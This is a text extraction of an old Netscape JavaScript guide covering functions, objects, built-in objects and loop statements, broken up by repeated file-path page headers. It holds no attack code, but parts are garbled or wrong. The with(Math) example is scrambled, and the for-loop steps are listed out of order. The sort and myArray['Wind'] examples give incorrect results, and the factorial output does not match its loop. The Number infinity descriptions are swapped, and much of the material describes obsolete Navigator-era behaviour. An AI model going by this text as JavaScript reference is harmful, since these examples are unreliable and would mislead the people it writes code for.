file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (2 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

In addition to defining functions as described here, you can also define Function objects, as described in "Function object".

Using functions
In a Navigator application, you can use (or call) any function defined in the current page. You can also use functions defined by other named windows or frames; for more information, see Chapter 3, "Using windows and frames." In a LiveWire application, you can use any function compiled with the application. Defining a function does not execute it. You have to call the function for it to do its work. For example, if you defined the example function pretty_print in the HEAD of the document, you could call it as follows: <SCRIPT> pretty_print("This is some text to display") </SCRIPT> The arguments of a function are not limited to strings and numbers. You can pass whole objects to a function, too. The show_props function (defined in "Objects and properties") is an example of a function that takes an object as an argument. A function can even be recursive, that is, it can call itself. For example, here is a function that computes factorials: function factorial(n) { if ((n == 0) || (n == 1)) return 1 else { result = (n * factorial(n-1) ) return result } } You could then display the factorials of one through five as follows: for (x = 0; x < 5; x++) { document.write("<BR>", x, " factorial is ", factorial(x)) } The results are:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (3 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

0 factorial is 1 1 factorial is 1 2 factorial is 2 3 factorial is 6 4 factorial is 24 5 factorial is 120

Using the arguments array


The arguments of a function are maintained in an array. Within a function, you can address the parameters passed to it as follows: functionName.arguments[i] where functionName is the name of the function and i is the ordinal number of the argument, starting at zero. So, the first argument passed to a function named myfunc would be myfunc.arguments[0]. The total number of arguments is indicated by the variable arguments.length. Using the arguments array, you can call a function with more arguments than it is formally declared to accept using. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use arguments.length to determine the number of arguments actually passed to the function, and then treat each argument using the arguments array. For example, consider a function defined to create HTML lists. The only formal argument for the function is a string that is "U" for an unordered (bulleted) list or "O" for an ordered (numbered) list. The function is defined as follows: function list(type) { document.write("<" + type + "L>") // begin list // iterate through arguments for (var i = 1; i < list.arguments.length; i++) document.write("<LI>" + list.arguments[i]) document.write("</" + type + "L>") // end list } You can pass any number of arguments to this function, and it will then display each argument as an item in the indicated type of list. For example, the following call to the function list("o", "one", 1967, "three", "etc., etc...") results in this output:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (4 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

1.one 2.1967 3.three 4.etc., etc...

Creating new objects


Both client and server JavaScript have a number of predefined objects. In addition, you can create your own objects. Creating your own object requires two steps: 1. Define the object type by writing a constructor function. 2. Create an instance of the object with new. To define an object type, create a function for the object type that specifies its name, properties, and methods. For example, suppose you want to create an object type for cars. You want this type of object to be called car, and you want it to have properties for make, model, year, and color. To do this, you would write the following function: function car(make, model, year) { this.make = make this.model = model this.year = year } Notice the use of this to assign values to the object's properties based on the values passed to the function. Now you can create an object called mycar as follows: mycar = new car("Eagle", "Talon TSi", 1993) This statement creates mycar and assigns it the specified values for its properties. Then the value of mycar.make is the string "Eagle," mycar.year is the integer 1993, and so on. You can create any number of car objects by calls to new. For example, kenscar = new car("Nissan", "300ZX", 1992) An object can have a property that is itself another object. For example, suppose you define an object called person as follows:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (5 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

function person(name, age, sex) { this.name = name this.age = age this.sex = sex } and then instantiate two new person objects as follows: rand = new person("Rand McKinnon", 33, "M") ken = new person("Ken Jones", 39, "M") Then you can rewrite the definition of car to include an owner property that takes a person object, as follows: function car(make, model, year, owner) { this.make = make this.model = model this.year = year this.owner = owner } To instantiate the new objects, you then use the following: car1 = new car("Eagle", "Talon TSi", 1993, rand) car2 = new car("Nissan", "300ZX", 1992, ken) Notice that instead of passing a literal string or integer value when creating the new objects, the above statements pass the objects rand and ken as the arguments for the owners. Then if you want to find out the name of the owner of car2, you can access the following property: car2.owner.name Note that you can always add a property to a previously defined object. For example, the statement car1.color = "black" adds a property color to car1, and assigns it a value of "black." However, this does not affect any other objects. To add the new property to all objects of the same type, you have to add the property to the definition of the car object type.

Indexing object properties


file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (6 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

In Navigator 2.0, you can refer to an object's properties by their property name or by their ordinal index. In Navigator 3.0, however, if you initially define a property by its name, you must always refer to it by its name, and if you initially define a property by an index, you must always refer to it by its index. This applies when you create an object and its properties with a constructor function, as in the above example of the Car object type, and when you define individual properties explicitly (for example, myCar.color = "red"). So if you define object properties initially with an index, such as myCar[5] = "25 mpg", you can subsequently refer to the property as myCar[5]. The exception to this rule is objects reflected from HTML, such as the forms, array. You can always refer objects in these arrays by either their ordinal number (based on where they appear in the document) or their name (if defined). For example, if the second <FORM> tag in a document has a NAME attribute of "myForm", you can refer to the form as document.forms[1] or document.forms["myForm"] or document.myForm.

Defining properties for an object type


You can add a property to a previously defined object type by using the prototype property. This defines a property that is shared by all objects of the specified type, rather than by just one instance of the object. The following code adds a color property to all objects of type car, and then assigns a value to the color property of the object car1. For more information, see "prototype". Car.prototype.color=null car1.color="black" birthday.description="The day you were born"

Defining methods
A method is a function associated with an object. You define a method the same way you define a standard function. Then you use the following syntax to associate the function with an existing object: object.methodname = function_name where object is an existing object, methodname is the name you are assigning to the method, and function_name is the name of the function. You can then call the method in the context of the object as follows: object.methodname(params);

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (7 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

You can define methods for an object type by including a method definition in the object constructor function. For example, you could define a function that would format and display the properties of the previously-defined car objects; for example, function displayCar() { var result = "A Beautiful " + this.year + " " + this.make + " " + this.model pretty_print(result) } where pretty_print is the function (defined in "Functions") to display a horizontal rule and a string. Notice the use of this to refer to the object to which the method belongs. You can make this function a method of car by adding the statement this.displayCar = displayCar; to the object definition. So, the full definition of car would now look like function car(make, model, year, owner) { this.make = make this.model = model this.year = year this.owner = owner this.displayCar = displayCar } Then you can call the displayCar method for each of the objects as follows: car1.displayCar() car2.displayCar() This will produce output like:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (8 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

Using this for object references


JavaScript has a special keyword, this, that you can use within a method to refer to the current object. For example, suppose you have a function called validate that validates an object's value property, given the object and the high and low values: function validate(obj, lowval, hival) { if ((obj.value < lowval) || (obj.value > hival)) alert("Invalid Value!") } Then, you could call validate in each form element's onChange event handler, using this to pass it the form element, as in the following example: <INPUT TYPE = "text" NAME = "age" SIZE = 3 onChange="validate(this, 18, 99)"> In general, this refers to the calling object in a method. When combined with the form property, this can refer to the current object's parent form. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm. <FORM NAME="myForm"> Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> <P> <INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" onClick="this.form.text1.value=this.form.name"> </FORM>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (9 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

Object deletion
In JavaScript for Navigator 2.0, you cannot remove objects--they exist until you leave the page containing the object. In JavaScript for Navigator 3.0, you can remove an object by setting its object reference to null (if that is the last reference to the object). JavaScript finalizes the object immediately, as part of the assignment expression.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (10 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

Built-in objects and functions


everal objects are built in to JavaScript and can be used in either client or server scripts. These objects are in addition to LiveWire objects defined for server-side JavaScript and Navigator objects introduced in Chapter 2, "Using Navigator objects." A handful of built-in functions can also be used in both client and server scripts.

Built-in objects
The built-in objects are Array, Boolean, Date, Function, Math, Number, and String.

Array object
JavaScript does not have an explicit array data type. However, you can use the built-in Array object and its methods to work with arrays in your applications. The Array object has methods for joining, reversing, and sorting arrays. It has a property for determining the array length. An array is an ordered set of values that you reference through a name and an index. For example, you could have an array called emp that contains employees' names indexed by their employee number. So emp[1] would be employee number one, emp[2] employee number two, and so on. To create an Array object: 1. arrayObjectName = new Array([arrayLength]) 2. arrayObjectName = new Array([element0, element1, ..., elementn]) arrayObjectName is either the name of a new object or a property of an existing object. When using Array properties and methods, arrayObjectName is either the name of an existing Array object or a property of an existing object. arrayLength is the initial length of the array. You can access this value using the length property. elementn is a list of values for the array's elements. When this form is specified, the array is initalized with the specified values as its elements, and the array's length property is set to the number of arguments. The Array object has the following methods:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (1 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

q q

join joins all elements of an array into a string reverse transposes the elements of an array: the first array element becomes the last and the last becomes the first sort sorts the elements of an array

For example, suppose you define the following array: myArray = new Array("Wind","Rain","Fire") myArray.join() returns "Wind,Rain,Fire"; myArray.reverse transposes the array so that myArray[0] is "Fire", myArray[1] is "Rain", and myArray[2] is "Wind". myArray.sort sorts the array so that myArray[0] is "Fire", myArray[1] is "Rain", and myArray[2] is "Wind". myArray.

Populating an array
You can populate an array by assigning values to its elements. For example, emp[1] = "Casey Jones" emp[2] = "Phil Lesh" emp[3] = "August West" You can also populate an array when you create it: myArray = new Array("Hello", myVar, 3.14159) The following code creates a two-dimensional array and displays the results. a = new Array(4) for (i=0; i < 4; i++) { a[i] = new Array(4) for (j=0; j < 4; j++) { a[i][j] = "["+i+","+j+"]" } } for (i=0; i < 4; i++) { str = "Row "+i+":" for (j=0; j < 4; j++) { str += a[i][j] } document.write(str,"<p>") }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (2 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

This example displays the following results: Multidimensional array test Row 0:[0,0][0,1][0,2][0,3] Row 1:[1,0][1,1][1,2][1,3] Row 2:[2,0][2,1][2,2][2,3] Row 3:[3,0][3,1][3,2][3,3]

Referring to array elements


You can refer to an array's elements by using the element's value or ordinal number. For example, suppose you define the following array: myArray = new Array("Wind","Rain","Fire") You can then refer to the first element of the array as myArray[0] or myArray["Wind"].

Boolean object
Use the built-in Boolean object when you need to convert a non-boolean value to a boolean value. You can use the Boolean object any place JavaScript expects a primitive boolean value. JavaScript returns the primitive value of the Boolean object by automatically invoking the valueOf method. To create a Boolean object: booleanObjectName = new Boolean(value) booleanObjectName is either the name of a new object or a property of an existing object. When using Boolean properties, booleanObjectName is either the name of an existing Boolean object or a property of an existing object. value is the initial value of the Boolean object. The value is converted to a boolean value, if necessary. If value is omitted or is 0, null, false, or the empty string "", it the object has an initial value of false. All other values, including the string "false" create an object with an initial value of true. The following examples create Boolean objects:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (3 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

bfalse = new Boolean(false) btrue = new Boolean(true)

Date object
JavaScript does not have a date data type. However, you can use the Date object and its methods to work with dates and times in your applications. The Date object has a large number of methods for setting, getting, and manipulating dates. It does not have any properties. JavaScript handles dates similarly to Java. The two languages have many of the same date methods, and both languages store dates as the number of milliseconds since January 1, 1970, 00:00:00. Note Currently, you cannot work with dates prior to January 1, 1970. To create a Date object: dateObjectName = new Date([parameters]) where dateObjectName is the name of the Date object being created; it can be a new object or a property of an existing object. The parameters in the preceding syntax can be any of the following:
q q

Nothing: creates today's date and time. For example, today = new Date(). A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, Xmas95 = new Date("December 25, 1995 13:30:00"). If you omit hours, minutes, or seconds, the value will be set to zero. A set of integer values for year, month, and day. For example, Xmas95 = new Date(95,11,25). A set of values for year, month, day, hour, minute, and seconds. For example, Xmas95 = new Date(95,11,25,9,30,0).

Methods of the Date object


The Date object methods for handling dates and times fall into these broad categories:
q q q q

"set" methods, for setting date and time values in Date objects. "get" methods, for getting date and time values from Date objects. "to" methods, for returning string values from Date objects. parse and UTC methods, for parsing Date strings.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (4 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a getDay method that returns the day of the week, but no corresponding setDay method, because the day of the week is set automatically. These methods use integers to represent these values as follows:
q q q q q q

Seconds and minutes: 0 to 59 Hours: 0 to 23 Day: 0 to 6 (day of the week) Date: 1 to 31 (day of the month) Months: 0 (January) to 11 (December) Year: years since 1900

For example, suppose you define the following date: Xmas95 = new Date("December 25, 1995") Then Xmas95.getMonth() returns 11, and Xmas95.getYear() returns 95. The getTime and setTime methods are useful for comparing dates. The getTime method returns the number of milliseconds since the epoch for a Date object. For example, the following code displays the number of days left in the current year: today = new Date() endYear = new Date("December 31, 1990") // Set day and month endYear.setYear(today.getYear()) // Set year to this year msPerDay = 24 * 60 * 60 * 1000 // Number of milliseconds per day daysLeft = (endYear.getTime() - today.getTime()) / msPerDay daysLeft = Math.round(daysLeft) document.write("Number of days left in the year: " + daysLeft) This example creates a Date object named today that contains today's date. It then creates a Date object named endYear and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between today and endYear, using getTime and rounding to a whole number of days. The parse method is useful for assigning values from date strings to existing Date objects. For example, the following code uses parse and setTime to assign a date value to the IPOdate object: IPOdate = new Date() IPOdate.setTime(Date.parse("Aug 9, 1995"))

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (5 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

Using the Date object: an example


The following example shows a simple application of Date: it displays a continuously-updated digital clock in an HTML text field. This is possible because you can dynamically change the contents of a text field with JavaScript (in contrast to ordinary text, which you cannot update without reloading the document). The display in Navigator looks like this: JavaScript clock The current time is The &LT;BODY&GT: of the document is: <BODY ONLOAD="JSClock()"> <FORM NAME="clockForm"> The current time is <INPUT TYPE="text" NAME="digits" SIZE=12 VALUE=""> </FORM> </BODY> The <BODY> tag includes an onLoad event handler. When the page loads, the event handler calls the function JSClock, defined in the <HEAD>. A form called clockForm includes a single text field named digits, whose value is initially an empty string. The <HEAD> of the document defines JSClock as follows: <HEAD> <SCRIPT language="JavaScript"> <!-function JSClock() { var time = new Date() var hour = time.getHours() var minute = time.getMinutes() var second = time.getSeconds() var temp = "" + ((hour > 12) ? hour - 12 : hour) temp += ((minute < 10) ? ":0" : ":") + minute temp += ((second < 10) ? ":0" : ":") + second temp += (hour >= 12) ? " P.M." : " A.M." document.clockForm.digits.value = temp id = setTimeout("JSClock()",1000) } //-->
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (6 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

</SCRIPT> </HEAD> The JSClock function first creates a new Date object called time; since no arguments are given, time is created with the current date and time. Then calls to the getHours, getMinutes, and getSeconds methods assign the value of the current hour, minute and seconds to hour, minute, and second. The next four statements build a string value based on the time. The first statement creates a variable temp, assigning it a value using a conditional expression; if hour is greater than 12, (hour - 13), otherwise simply hour. The next statement appends a minute value to temp. If the value of minute is less than 10, the conditional expression adds a string with a preceding zero; otherwise it adds a string with a demarcating colon. Then a statement appends a seconds value to temp in the same way. Finally, a conditional expression appends "PM" to temp if hour is 12 or greater; otherwise, it appends "AM" to temp. The next statement assigns the value of temp to the text field: document.aform.digits.value = temp This displays the time string in the document. The final statement in the function is a recursive call to JSClock: id = setTimeout("JSClock()", 1000) The built-in JavaScript setTimeout function specifies a time delay to evaluate an expression, in this case a call to JSClock. The second argument indicates a a delay of 1,000 milliseconds (one second). This updates the display of time in the form at one-second intervals. Note that the function returns a value (assigned to id), used only as an identifier (which can be used by the clearTimeout method to cancel the evaluation).

Function object
The built-in Function object specifies a string of JavaScript code to be compiled as a function. To create a Function object:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (7 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

functionObjectName = new Function ([arg1, arg2, ... argn], functionBody) functionObjectName is the name of a variable or a property of an existing object. It can also be an object followed by a lowercase event handler name, such as window.onerror. When using Function properties, functionObjectName is either the name of an existing Function object or a property of an existing object. arg1, arg2, ... argn are arguments to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier; for example "x" or "theForm". functionBody is a string specifying the JavaScript code to be compiled as the function body. Function objects are evaluated each time they are used. This is less efficient than declaring a function and calling it within your code, because declared functions are compiled. In addition to defining functions as described here, you can also use the function statement, as described in "function". The following code assigns a function to the variable setBGColor. This function sets the current document's background color. var setBGColor = new Function("document.bgColor='antiquewhite'") To call the Function object, you can specify the variable name as if it were a function. The following code executes the function specified by the setBGColor variable: var colorChoice="antiquewhite" if (colorChoice=="antiquewhite") {setBGColor()} You can assign the function to an event handler in either of the following ways: 1. document.form1.colorButton.onclick=setBGColor 2. <INPUT NAME="colorButton" TYPE="button" VALUE="Change background color" onClick="setBGColor()"> Creating the variable setBGColor shown above is similar to declaring the following function: function setBGColor() { document.bgColor='antiquewhite' }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (8 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

Assigning a function to a variable is similar to declaring a function, but they have differences:
q

When you assign a function to a variable using var setBGColor = new Function("..."), setBGColor is a variable for which the current value is a reference to the function created with new Function(). When you create a function using function setBGColor() {...}, setBGColor is not a variable, it is the name of a function.

Math object
The built-in Math object has properties and methods for mathematical constants and functions. For example, the Math object's PI property has the value of pi (3.141...), which you would use in an application as Math.PI Similarly, standard mathematical functions are methods of Math. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write Math.sin(1.56) Note that all trigonometric methods of Math take arguments in radians. The following table summarizes Math's methods.

Method abs sin, cos, tan exp, log ceil floor min, max pow round sqrt

Description Absolute value Standard trigonometric functions; argument in radians Exponential and natural logarithm, base e Returns least integer greater than or equal to argument Returns greatest integer less than or equal to argument Returns greater or lesser (respectively) of two arguments Exponential; first argument is base, second is exponent Rounds argument to nearest integer Square root

acos, asin, atan Inverse trigonometric functions; return values in radians

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (9 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

It is often convenient to use the with statement when a section of code uses several math constants and methods, so you don't have to type "Math" repeatedly. For example, with (Math) a y x } { = PI * r*r = r*sin(theta) = r*cos(theta)

Number object
The Number object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You use these properties as follows: biggestNum = Number.MAX_VALUE smallestNum = Number.MIN_VALUE infiniteNum = Number.POSITIVE_INFINITY negInfiniteNum = Number.NEGATIVE_INFINITY notANum = Number.NaN The following table summarizes Number's properties.

Method MAX_VALUE MIN_VALUE NaN POSITIVE_INFINITY

Description The largest representable number The smallest representable number Special "not a number" value Special negative infinite value; returned on overflow

NEGATIVE_INFINITY Special infinite value; returned on overflow

String object
JavaScript does not have a string data type. However, you can use the String object and its methods to work with strings in your applications. The String object has a large number of methods for manipulating strings. It has one property for determining the string's length. To create a String object: stringObjectName = new String(string)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (10 of 13) [30/08/2003 9:34:06 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

stringObjectName is the name of a new String object. string is any string. For example, the following statement creates a String object called mystring: mystring = new String ("Hello, World!") String literals are also String objects; for example, the literal "Howdy" is a String object. A String object has one property, length, that indicates the number of characters in the string. So, using the previous example, the expression x = mystring.length assigns a value of 13 to x, because "Hello, World!" has 13 characters. A String object has two types of methods: those that return a variation on the string itself, such as substring and toUpperCase, and those that return an HTML-formatted version of the string, such as bold and link. For example, using the previous example, both mystring.toUpperCase() and "hello, world!".toUpperCase() return the string "HELLO, WORLD!". The substring method takes two arguments and returns a subset of the string between the two arguments. Using the previous example, mystring.substring(4, 9) returns the string "o, Wo." For more information, see the reference topic for substring. The String object also has a number of methods for automatic HTML formatting, such as bold to create boldface text and link to create a hyperlink. For example, you could create a hyperlink to a hypothetical URL with the link method as follows: mystring.link("http://www.helloworld.com") The following table summarizes the methods of String objects:

Method anchor

Description Creates HTML named anchor

big, blink, bold, fixed, italics, small, strike, sub, sup Creates HTML formatted string

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (11 of 13) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

charAt indexOf, lastIndexOf

Returns the character at the specified position in string Returns the position of specified substring in the string or last position of specified substring, respectively Creates HTML hyperlink Splits a String object into an array of strings by separating the string into substrings Returns the specified subset of the string Returns the string in all lowercase or all uppercase, respectively

link split substring toLowerCase, toUpperCase

Built-in functions
JavaScript has two "top-level" functions built in to the language: parseInt and parseFloat.

isNaN function
The isNaN function evaluates an argument to determine if it is "NaN" (not a number). The syntax of isNaN is: isNaN(testValue) testValue is the value you want to evaluate. On platforms that support NaN, the parseFloat and parseInt functions return "NaN" when they evaluate a value that is not a number. isNaN returns true if passed "NaN," and false otherwise. The following code evaluates floatValue to determine if it is a number and then calls a procedure accordingly: floatValue=parseFloat(toFloat) if (isNaN(floatValue)) { notFloat() } else { isFloat()

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (12 of 13) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm

parseInt and parseFloat functions


The two "parse" functions, parseInt and parseFloat, return a numeric value when given a string as an argument. For detailed descriptions and examples, see the reference topics. The syntax of parseFloat is parseFloat(str) parseFloat parses its argument, the string str, and attempts to return a floating-point number. If it encounters a character other than a sign (+ or -), a numeral (0-9), a decimal point, or an exponent, then it returns the value up to that point and ignores that character and all succeeding characters. If the first character cannot be converted to a number, it returns "NaN" (not a number). The syntax of parseInt is parseInt(str [, radix]) parseInt parses its first argument, the string str, and attempts to return an integer of the specified radix (base), indicated by the second, optional argument, radix. For example, a radix of ten indicates to convert to a decimal number, eight octal, sixteen hexadecimal, and so on. For radixes above ten, the letters of the alphabet indicate numerals greater than nine. For example, for hexadecimal numbers (base 16), A through F are used. If parseInt encounters a character that is not a numeral in the specified radix, it ignores it and all succeeding characters and returns the integer value parsed up to that point. If the first character cannot be converted to a number in the specified radix, it returns "NaN." The parseInt function truncates numbers to integer values.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/builtin.htm (13 of 13) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

Overview of JavaScript statements


avaScript supports a compact set of statements that you can use to incorporate a great deal of interactivity in Web pages. The statements fall into the following categories:
q q q q

Conditional statement: if...else Loop statements: for, while, break, and continue Object manipulation statements and operators: for...in, new, this, and with Comments: single-line (//) and multiline (/*...*/)

The following sections provide a brief overview of each statement. See the statements reference for details.

Conditional statement
Use the if statement to perform certain statements if a logical condition is true; use the optional else clause to perform other statements if the condition is false. An if statement looks as follows: if (condition) { statements1 [ } else { statements2 ] } The condition can be any JavaScript expression that evaluates to true or false. The statements to be executed can be any JavaScript statements, including further nested if statements. If you want to use more than one statement after an if or else statement, you must enclose the statements in curly braces, {}. Example. In the following example, the function checkData returns true if the number of characters in a Text object is three; otherwise, it displays an alert and returns false. function checkData () { if (document.form1.threeChar.value.length == 3) { return true } else { alert("Enter exactly three characters. " + document.form1.threeChar.value + " is not valid.") return false } }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (1 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

Loop statements
A loop is a set of commands that executes repeatedly until a specified condition is met. JavaScript supports two loop statements: for and while. In addition, you can use the break and continue statements within loop statements. Another statement, for...in, executes statements repeatedly but is used for object manipulation. See "Object manipulation statements and operators".

for statement
A for loop repeats until a specified condition evaluates to false. The JavaScript for loop is similar to the Java and C for loop. A for statement looks as follows: for ([initial-expression]; [condition]; [increment-expression]) { statements } When a for loop executes, the following occurs: 1. The initializing expression initial-expression, if any, is executed. This expression usually initializes one or more loop counters, but the syntax allows an expression of any degree of complexity. 2. The condition expression is evaluated. If the value of condition is true, the loop statements execute. If the value of condition is false, the for loop terminates. 3. The update expression increment-expression executes. 4. The statements execute, and control returns to step 2. Example. The following function contains a for statement that counts the number of selected options in a scrolling list (a Select object that allows multiple selections). The for statement declares the variable i and initializes it to zero. It checks that i is less than the number of options in the Select object, performs the succeeding if statement, and increments i by one after each pass through the loop. <SCRIPT> function howMany(selectObject) { var numberSelected=0 for (var i=0; i < selectObject.options.length; i++) { if (selectObject.options[i].selected==true) numberSelected++ } return numberSelected } </SCRIPT> <FORM NAME="selectForm"> <P><B>Choose some music types, then click the button below:</B> <BR><SELECT NAME="musicTypes" MULTIPLE> <OPTION SELECTED> R&B <OPTION> Jazz <OPTION> Blues <OPTION> New Age
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (2 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

<OPTION> Classical <OPTION> Opera </SELECT> <P><INPUT TYPE="button" VALUE="How many are selected?" onClick="alert ('Number of options selected: ' + howMany(document.selectForm.musicTypes))"> </FORM>

while statement
A while statement repeats a loop as long as a specified condition evaluates to true. A while statement looks as follows: while (condition) { statements } If the condition becomes false, the statements within the loop stop executing and control passes to the statement following the loop. The condition test occurs only when the statements in the loop have been executed and the loop is about to be repeated. That is, the condition test is not continuous but is performed once at the beginning of the loop and again just following the last statement in statements, each time control passes through the loop. Example 1. The following while loop iterates as long as n is less than three: n = 0 x = 0 while( n < 3 ) { n ++ x += n } With each iteration, the loop increments n and adds that value to x. Therefore, x and n take on the following values:
q q q

After the first pass: n = 1 and x = 1 After the second pass: n = 2 and x = 3 After the third pass: n = 3 and x = 6

After completing the third pass, the condition n < 3 is no longer true, so the loop terminates. Example 2: infinite loop. Make sure the condition in a loop eventually becomes false; otherwise, the loop will never terminate. The statements in the following while loop execute forever because the condition never becomes false: while (true) { alert("Hello, world") }

break statement
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (3 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

The break statement terminates the current while or for loop and transfers program control to the statement following the terminated loop. A break statement looks as follows: break Example. The following function has a break statement that terminates the while loop when i is three, and then returns the value 3 * x. function testBreak(x) { var i = 0 while (i < 6) { if (i == 3) break i++ } return i*x }

continue statement
A continue statement terminates execution of the block of statements in a while or for loop and continues execution of the loop with the next iteration. A continue statement looks as follows: continue In contrast to the break statement, continue does not terminate the execution of the loop entirely. Instead,
q q

In a while loop, it jumps back to the condition. In a for loop, it jumps to the increment-expression.

Example. The following example shows a while loop with a continue statement that executes when the value of i is three. Thus, n takes on the values one, three, seven, and twelve. i = 0 n = 0 while (i < 5) { i++ if (i == 3) continue n += i }

Object manipulation statements and operators


JavaScript has several ways of manipulating objects: new operator, this keyword, for...in statement, and with statement.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (4 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

new operator
You can use the new operator to create an instance of a user-defined object type or of one of the built-in object types Array, Boolean, Date, Function, Math, Number, or String. Use new as follows: objectName = new objectType ( param1 [,param2] ...[,paramN] ) The following example creates an Array object with 25 elements, then assigns values to the first three elements: musicTypes = new Array(25) musicTypes[0] = "R&B" musicTypes[1] = "Blues" musicTypes[2] = "Jazz" The following examples create several Date objects: today = new Date() birthday = new Date("December 17, 1995 03:24:00") birthday = new Date(95,12,17) The following example creates a user-define object type car, with properties for make, model, and year. The example then creates an object called mycar and assigns values to its properties. The value of mycar.make is the string "Eagle", mycar.year is the integer 1993, and so on. function car(make, model, year) { this.make = make this.model = model this.year = year } mycar = new car("Eagle", "Talon TSi", 1993) For more information on new, see "new".

this keyword
